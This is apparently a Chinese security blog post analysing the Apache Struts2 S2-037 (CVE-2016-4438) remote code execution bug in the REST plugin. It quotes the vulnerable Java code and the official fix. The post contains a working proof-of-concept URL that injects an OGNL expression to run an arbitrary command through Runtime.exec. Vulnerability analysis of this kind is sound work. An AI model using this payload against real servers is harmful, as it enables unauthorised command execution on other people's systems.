Struts2 S2-037(CVE-2016-4438)漏洞分析

昨天pkav发布了一个关于S2-037(CVE-2016-4438)的漏洞分析(好像是他们提交的?),和S2-033一样也是关于rest插件导致method变量被篡改造成的远程代码执行漏洞,而且不需要开启动态方法调用便可利用。之前因为手边琐碎的事情不断,而且感觉rest插件配置有点麻烦,就没有跟S2-033这个鸡肋。但是没想到居然还有后续,这次是想偷懒也没得躲了╮(╯▽╰)╭,下面就让我们来看看这个漏洞到底是个什么玩意儿~~

0x01 预备知识

关于这个漏洞需要知道一点Struts实现rest的知识,才能更好的理解PoC。这里我们简单介绍一下,主要是访问路径上各个部分的意义。

http://172.16.107.143:8080/Struts2_3_28/resttest/tang3.xml

上面的这条访问中,Struts2_3_28是项目路径,和一般的网站路径没有区别。resttest是Controller名,Controller相当于原生Struts的action,只不过在rest插件中不再需要使用配置文件指定uri和action映射了,可以直接通过uri来直接指定使用哪个Controller执行。比如:在项目中还有一个Tang3Controller类,那么访问中可以直接使用:

http://172.16.107.143:8080/Struts2_3_28/tang3/tang3.xml访问。

在Controller之后的内容就是要传递的参数,末尾的.xxx后缀是要求返回内容的格式,一般有json、xml等。

0x02 漏洞原理

这个漏洞和之前S2-032/033是一个地方,都是在DefaultActionInvocation.java的invokeAction方法中没有对于methodName参数内容进行校验,便直接丢到了getValue方法里面,从而造成Ongl表达式的注入。触发代码如下:

 protected String invokeAction(Object action, ActionConfig actionConfig) throws Exception {
    String methodName = proxy.getMethod();

    if (LOG.isDebugEnabled()) {
        LOG.debug("Executing action method = #0", methodName);
    }

    String timerKey = "invokeAction: " + proxy.getActionName();
    try {
        UtilTimerStack.push(timerKey);

        Object methodResult;
        try {
            methodResult = ognlUtil.getValue(methodName + "()", getStack().getContext(), action);

而官方在修复S2-032时只是针对利用在DMI设置流程中将setMethod方法的参数使用cleanupActionName进行了过滤,典型的指哪补哪的修复方法。有一定抽象思维的各位,一定可以看出,这个漏洞的关键在于method内容是否可控,一旦可控,那么代码执行就是分分钟的事。这样我们再来看官方的这种修复方案在未来面对的问题就是,万一我在别的地方也设置了这个值怎么办?

这回这个万一发生了,S2-033中在插件的地方也是用setMethod对method变量进行设置,完成了对这个漏洞点的利用。然而官方修复者依旧本着指哪补哪的原则,认为这个问题已经随着之前的修复解决了。但是万万没有想到,在这个033利用点下面还藏着更多的利用点。下面我们来看下这部分代码,代码是在RestActionMapper类的getMapping方法中:

    handleDynamicMethodInvocation(mapping, mapping.getName());

    String fullName = mapping.getName();
    // Only try something if the action name is specified
    if (fullName != null && fullName.length() > 0) {

        // cut off any ;jsessionid= type appendix but allow the rails-like ;edit
        int scPos = fullName.indexOf(';');
        if (scPos > -1 && !"edit".equals(fullName.substring(scPos + 1))) {
            fullName = fullName.substring(0, scPos);
        }

        int lastSlashPos = fullName.lastIndexOf('/');
        String id = null;
        if (lastSlashPos > -1) {

            // fun trickery to parse 'actionName/id/methodName' in the case of 'animals/dog/edit'
            int prevSlashPos = fullName.lastIndexOf('/', lastSlashPos - 1);
            //WW-4589 do not overwrite explicit method name
            if (prevSlashPos > -1 && mapping.getMethod() == null) {
                mapping.setMethod(fullName.substring(lastSlashPos + 1));
                fullName = fullName.substring(0, lastSlashPos);
                lastSlashPos = prevSlashPos;
            }
            id = fullName.substring(lastSlashPos + 1);
        }



        // If a method hasn't been explicitly named, try to guess using ReST-style patterns
        if (mapping.getMethod() == null) {

            if (isOptions(request)) {
                mapping.setMethod(optionsMethodName);

            // Handle uris with no id, possibly ending in '/'
            } else if (lastSlashPos == -1 || lastSlashPos == fullName.length() -1) {

                // Index e.g. foo
                if (isGet(request)) {
                    mapping.setMethod(indexMethodName);

                // Creating a new entry on POST e.g. foo
                } else if (isPost(request)) {
                    if (isExpectContinue(request)) {
                        mapping.setMethod(postContinueMethodName);
                    } else {
                        mapping.setMethod(postMethodName);
                    }
                }

节选的代码第一行就是033执行setMethod方法的函数,关于033的大部分分析文章已经写得很清楚了,这里就不在赘述了。我们直接向下看,发现有无数个位置都可以使用setMethod方法修改method参数。

0x03 漏洞利用

漏洞利用点太多了,我这里就用离handleDynamicMethodInvocation方法最近的一个setMethod做演示。和033利用代码上没有什么变化,只是需要在访问路径上需要稍作一些修改,我们来看如下代码:

 int lastSlashPos = fullName.lastIndexOf('/');
        String id = null;
        if (lastSlashPos > -1) {

            // fun trickery to parse 'actionName/id/methodName' in the case of 'animals/dog/edit'
            int prevSlashPos = fullName.lastIndexOf('/', lastSlashPos - 1);
            //WW-4589 do not overwrite explicit method name
            if (prevSlashPos > -1 && mapping.getMethod() == null) {
                mapping.setMethod(fullName.substring(lastSlashPos + 1));

fullName就是我们uri路径的全部内容,只要确保Controller之后的最后一个反斜杠和倒数第二个反斜杠之间为非反斜杠的任意内容,就会把最后一个反斜杠后的内容作为method的值。(关于Controller请参考0x01的预备知识)

这里我的Controller名字是resttest,PoC如下:

http://127.0.0.1:8080/Struts2_3_26/resttest/tang3/%23_memberAccess%3D%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,@java.lang.Runtime@getRuntime().exec(%23parameters.cmd),new java.lang.String.xml?cmd=gedit

0x04 漏洞总结

我在翻看RestActionMapper.java代码时,脑中出现的官方查看037漏洞画面是这样的:蹦到桌子上指着显示器喊,这尼玛怎么修啊!o(╯□╰)o

不过,从github上看2.3.29版本修复037的方法,感觉这回官方终于痛定思痛,认真思考了问题的关键,发现只要限制住DefaultActionInvocation.java的invokeAction中getValue的内容,就可以避免这样的问题在发生。所以之后官方在Ognl调用util中添加了callMethod系列方法,用于检查所传入的method内容是否为单独的方法调用,避免大段Ognl语句执行的尴尬。具体的校验工作是isSimpleMethod方法来实现的,代码如下:

private boolean isSimpleMethod(Object tree, Map<String, Object> context) throws OgnlException {
     if (tree instanceof SimpleNode) {
         SimpleNode node = (SimpleNode) tree;
         OgnlContext ognlContext = null;

         if (context!=null && context instanceof OgnlContext) {
             ognlContext = (OgnlContext) context;
         }
         return node.isSimpleMethod(ognlContext) && !node.isChain(ognlContext);
     }
     return false;
 }

DefaultActionInvocation.java中原有的ognlUtil.getValue改成了ognlUtil.callMethod方法,这个问题终于可以告一段落了。

修复方案

这次官方的修复方案,我个人感觉还是挺靠谱的,所以大家可以的话就升级到2.3.29版本。不过不着调的官方并没有把2.3.29放上官网,这里提供给大家一个开发版的下载地址:

https://dist.apache.org/repos/dist/dev/struts/2.3.29/

如果您需要了解更多内容,可以
加入QQ群:486207500、570982169
直接询问:010-68438880-8669

Spread the word. Share this post!

Meet The Author

Leave Comment